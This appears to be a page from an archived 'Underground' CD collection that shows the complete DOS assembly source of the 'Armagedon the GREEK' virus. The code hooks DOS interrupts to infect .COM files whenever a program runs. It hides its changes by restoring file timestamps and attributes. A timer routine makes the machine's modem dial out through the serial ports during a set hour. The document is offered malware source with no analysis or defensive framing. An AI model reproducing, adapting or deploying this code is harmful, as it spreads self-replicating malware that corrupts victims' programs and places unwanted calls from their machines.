Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / a / armagedo.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 17.1 KB | 524 lines

dta equ offset last_byte+10 virlen equ (offset last_byte - offset start) strlen equ (offset endstr - offset startstr) code segment assume cs:code,ds:code org 100h start: jmp main newint21 proc far ; SETS THE 'INT 21h' VIRUSED pushf ; Save flags for compare cmp ah,0e0h ; Is it exist-test? jnz notest1 ; if not go on mov ax,0dadah ; else return signature, popf ; restore flag and iret ; return to program notest1: cmp ah,0e1h jnz notest2 mov ax,cs popf iret notest2: cmp ax,4b00h ; is 'EXEC' command? jz infector ; if yes go to 'infection' do_oldint: popf ; restore flags jmp dword ptr cs:oldint21a; jump to normal INT 21h newint21 endp oldint21a dw ? ; old INT 21h vector (low) oldint21b dw ? ; old INT 21h vector (high) oldint8a dw ? ; old INT 8 vector (low) oldint8b dw ? ; old INT 8 vector (high) status db 0 ; flag for time (call in progress) ticks db 0 ; 18.2 tick counter cur_h db 0 ; Current time (HOURS) cur_m db 0 ; Current time (MINUTES) cur_s db 0 ; Current time (SECONDS) count dw 0 ; dial counter (30 sec, 540 ticks) garbidge db 0 stringpos db 0 call_made db 0 init_done db 0 comext db 'COM' ; Valid inf. extension handle dw ? ; inf. handle number filesize dw 20 prseg dw ? seg_buffer dw ? ss_reg dw ? sp_reg dw ? fileds dw ? filedx dw ? attr dw ? filedate dw ? filetime dw ? env_seg dw 00h cdline_offs dw 81h cdline_seg dw ? fcb1_offs dw 5ch fcb1_seg dw ? fcb2_offs dw 6ch fcb2_seg dw ? infector proc near ; PROGRAM INFECTOR assume cs:code ; push ds ; save registers to push bx ; insure normal operation push si ; by the INT 21h (ah=4b00h) push cx ; push ax ; push dx ; push bp ; push es ; push di ; cld ; Reset direction to increament push dx ; Store the address of the push ds ; filespec (DS:DX) xor cx,cx ; reset counter mov si,dx ; set ptr to filespec nxtchr: mov al,ds:[si] ; take a char cmp al,0 ; is it zero? jz okay ; if yes goto okay inc cx ; else increase counter inc si ; and pointer jmp nxtchr ; take the next chr if CX>0 okay: add dx,cx ; Point to end of filespec sub dx,3 ; point to .EXT mov si,offset comext ; Check if it is a mov di,dx ; .COM file cmp byte ptr ds:[di-3],'N'; jnz ok_1 ; Is it a ND. ? cmp byte ptr ds:[di-2],'D'; if yes exit! jz nmatch ; ok_1: mov cx,3 ; checking counter in 3 cmp_loop: mov al,cs:[si] ; take 1st ptr's chr cmp al,ds:[di] ; and compare it with filespec jnz nmatch ; If no matching, exit inc si ; else increase 1st ptr inc di ; and second ptr loop cmp_loop ; take next compare if CX>0 pop ds ; restore ds and dx to point pop dx ; push dx ; Store pointer push ds ; mov si,dx ; Check if filespec mov dl,0 ; contains a drive cmp byte ptr ds:[si+1],':'; letter jnz nodrive ; If no jump to nodrive spec. mov dl,ds:[si] ; else take the drive in DL and dl,0fh ; and modify for int 21h (ah=36h) nodrive: mov ah,36h ; Take free disk space of DL disk int 21h ; Do the call cmp ax,0ffffh ; Was an invalid drive specified? jz nmatch ; if yes, exit jmp bypass ; Correct jx 127 limit nmatch: jmp nomatch invd: jmp invdrive closeit1: jmp closeit resdta1: jmp resdta bypass: cmp bx,3 ; Are there at least 3 clust. free? jb nmatch ; If no, exit pop ds ; restore pointers pop dx ; push ds ; and allocate memory push dx ; for the infection mov cs:fileds,ds mov cs:filedx,dx mov ax,4300h ; code for Get Attr int 21h mov cs:attr,cx mov ax,4301h xor cx,cx int 21h mov bx,0ffffh mov ah,48h int 21h mov ah,48h int 21h mov cs:seg_buffer,ax mov ax,cs mov ds,ax mov dx,dta mov ah,1ah int 21h pop dx pop ds mov ax,3d02h ; DosFn OPEN FILE (R/W) clc ; Clear carry flag int 21h ; Do open jc closeit1 ; If Error exit mov bx,ax ; Handle to BX mov cs:handle,ax ; save handle mov cx,0ffffh ; Bytes to read mov ax,cs:seg_buffer ; mov ds,ax ; mov dx,virlen ; DS:DX points to buffer mov ah,3fh ; DosFn READ FROM FILE clc ; clear carry flag int 21h ; Do the call jc closeit1 ; if error exit mov cs:filesize,ax ; Num of bytes actually read ;cmp ax,0e000h ; max com size to infect ;ja closeit1 ; if size>max exit cmp ax,virlen ; if filesize is less than the jb virit ; virus size then it is clean mov si,virlen+1 ; Set 1st ptr to START of file add si,si ; add 1st ptr the length of file sub si,21 ; and subtract 12 to point to sig. mov cx,19 ; set the test loop to 10 bytes mov di,offset signature ; Set 2nd ptr to constant signature test_sig: mov al,ds:[si] ; take the byte pointed to by SI mov ah,cs:[di] ; and compare it with the byte cmp ah,al ; pointed to by DI jne virit ; if not equal then it is clean! inc si ; else increase 1st pointer inc di ; increase 2nd pointer loop test_sig ; continue with next if CX>0 jmp closeit virit: mov ax,4200h ; Code for LSEEK (Start) mov bx,cs:handle ; Handle num in BX xor cx,cx ; Reset CX mov dx,cx ; and DX int 21h ; Do the call jc closeit mov si,offset start mov cx,virlen xor di,di mov ax,cs:seg_buffer mov ds,ax virusin: mov al,cs:[si] mov ds:[di],al inc si inc di loop virusin mov ax,5700h mov bx,cs:handle int 21h mov cs:filetime,cx mov cs:filedate,dx mov ax,cs:seg_buffer mov ds,ax mov si,virlen mov al,ds:[si] add al,11 mov ds:[si],al xor dx,dx ; DX points to Buffer (file) mov cx,cs:filesize ; Size of file in CX add cx,virlen ; But added by Virlen mov bx,cs:handle ; File handle num in BX mov ah,40h ; Code for WRITE FILE int 21h ; Do the call mov cx,cs:filetime mov dx,cs:filedate mov bx,cs:handle mov ax,5701h int 21h closeit: mov bx,cs:handle ; Handle in BX mov ah,3eh ; Code for CLOSE FILE int 21h ; Do close it push cs pop ds resdta: mov dx,80h ; Reset the DTA mov ah,1ah ; in Address 80H int 21h ; Do call mov ax,cs:seg_buffer mov es,ax mov ah,49h int 21h mov ax,cs:fileds ; mov ds,ax ; mov dx,cs:filedx ; mov ax,4301h ; mov cx,cs:attr ; int 21h ; jmp invdrive ; and exit nomatch: pop ds pop dx jmp notinfect invdrive: notinfect: pop di ; restore registers pop es ; to their initial pop bp ; values pop dx ; pop ax ; pop cx ; pop si ; pop bx ; pop ds ; jmp do_oldint ; return from call infector endp newint8 proc far ; VIRUS' TIMER ISR push bp ; push ds ; store all registers push es ; and flags before push ax ; the new timer push bx ; operations. push cx ; Otherwize a 'crush' push dx ; is unavoidable push si ; push di ; pushf ; Simulate an INT call dword ptr cs:oldint8a ; Do old timer stuff call tick ; update virus clock routine push cs pop ds mov ah,5 ; Check if time mov ch,cur_h ; is now above the cmp ah,ch ; lower limit (5 o'clock) ja exitpoint ; if not, exit mov ah,6 ; Check if time cmp ah,ch ; is now below the higher limit jb exitpoint ; if not, exit mov ah,status ; get the virus status cmp ah,1 ; test if call in progress jz in_progress ; if yes goto countdown routine mov ah,1 ; if not, set the status to mov status,ah ; indicate 'In progress' jmp exitpoint ; and exit in_progress: ; CALL IS IN PROGRESS! call dial ; else call dial routine inc count ; CALL_TIMER mov ax,count cmp ax,540 ; check for time-out jne exitpoint ; if not, exit else xor ax,ax ; set status to indicate mov status,ah ; 'ready to call'! mov count,ax ; reset call_timer mov call_made,ah exitpoint: pop di ; restore registers to pop si ; their values and pop dx ; pop cx ; pop bx ; pop ax ; pop es ; pop ds ; pop bp ; iret ; return to program newint8 endp tick proc near ; VIRUS' CLOCK ROUTINE assume cs:code,ds:code push cs pop ds xor al,al mov ah,ticks ; test if ticks have cmp ah,17 ; reached limit (17) jnz incticks ; if no, incerase ticks mov ah,cur_s ; test if seconds have cmp ah,59 ; reached limit (59) jnz incsec ; if no, increase seconds mov ah,cur_m ; test if minutes have cmp ah,59 ; reached limit (59) jnz incmin ; if no, increase minutes mov ah,cur_h ; test if hours have cmp ah,23 ; reached limit (23) jnz inchour ; if no, increase hours mov cur_h,al ; else reset hours exitp3: mov cur_m,al ; reset minutes exitp2: mov cur_s,al ; reset seconds exitp1: mov ticks,al ; reset ticks ret ; end exit incticks: inc ticks ; increase ticks ret ; and exit incsec: inc cur_s ; increase seconds jmp exitp1 ; and exit incmin: inc cur_m ; increase minutes jmp exitp2 ; and exit inchour: inc cur_h ; increase hours jmp exitp3 ; end exit tick endp startstr: string db '+++aTh0m0s7=35dp081,,,,141' endstr: dial proc near assume cs:code,ds:code mov al,call_made cmp al,1 jz exit_dial mov al,init_done cmp al,1 jz send_one mov cx,3 next_init: mov dx,cx xor ah,ah mov al,131 int 14h loop next_init mov al,1 mov init_done,al jmp exit_dial send_one: push cs pop ds mov si,offset string mov al,stringpos cmp al,strlen jnz do_send jmp sendret do_send: xor ah,ah add si,ax next_char: mov al,[si] mov dx,3f8h out dx,al mov dx,2f8h out dx,al mov dx,2e8h out dx,al mov dx,3e8h out dx,al inc stringpos jmp exit_dial sendret: mov cx,3 retloop: mov dx,cx mov al,13 mov ah,1 int 14h loop retloop reset: mov ax,0001h mov call_made,al mov stringpos,ah mov init_done,ah exit_dial: ret dial endp main: ; VIRUS' MEMORY INSTALLER assume cs:code,ds:code ; mov ah,0e0h ; is VIRUS already int 21h ; in memory? cmp ax,0dadah ; if yes then jnz cont ; terminate, else jmp already_in cont: push cs pop ds mov ax,3521h ; capture the old int 21h ; INT 21h vector and mov oldint21a,bx ; store the absolute address mov oldint21b,es ; in 'oldint21x' variables mov dx,offset newint21 ; point to new INT 21h ISR mov ax,2521h ; replace it to vector int 21h ; mov ax,3508h ; capture the old int 21h ; timer vector and mov oldint8a,bx ; store the address mov oldint8b,es ; in 'oldint8x' var mov dx,offset newint8 ; point to new timer ISR mov ax,2508h ; replace it to vector int 21h ; mov ah,2ch ; get the current int 21h ; time from DOS mov cur_h,ch ; and store it mov cur_m,cl ; for the mov cur_s,dh ; virus' timer ; RUN PROGRAM! mov ax,cs:[2ch] mov ds,ax xor si,si loop1: mov al,ds:[si] cmp al,1 jz exitl1 inc si jmp loop1 exitl1: inc si inc si mov dx,si mov ax,cs mov es,ax ; SHRINK BLOCK mov bx,90 mov ah,4ah int 21h mov bx,cs:[81h] mov ax,cs mov es,ax mov cs:fcb1_seg,ax mov cs:fcb2_seg,ax mov cs:cdline_seg,ax mov ax,4b00h ; ; ; mov cs:ss_reg,ss mov cs:sp_reg,sp pushf call dword ptr cs:oldint21a mov ax,cs:ss_reg mov ss,ax mov ax,cs:sp_reg mov sp,ax mov ax,cs mov ds,ax mov dx,offset last_byte int 27h already_in: mov ah,0e1h int 21h mov si,offset pokelabl mov cs:[si+3],ax mov ax,offset fix_com mov cs:[si+1],ax mov ax,cs:filesize mov bx,cs pokelabl: db 0eah,00h,00h,00h,00h fix_com: mov cx,ax mov ds,bx mov si,100h mov di,100h+virlen dofix: mov al,ds:[di] mov ds:[si],al inc si inc di loop dofix mov si,offset poklb mov cs:[si+3],ds mov al,ds:[100h] sub al,11 mov ds:[100h],al mov ax,ds mov es,ax mov ss,ax poklb: db 0eah,00h,01h,00h,00h signature: db 'Armagedon the GREEK' last_byte: db 90h+11 nop nop nop mov ah,4ch int 21h code ends end start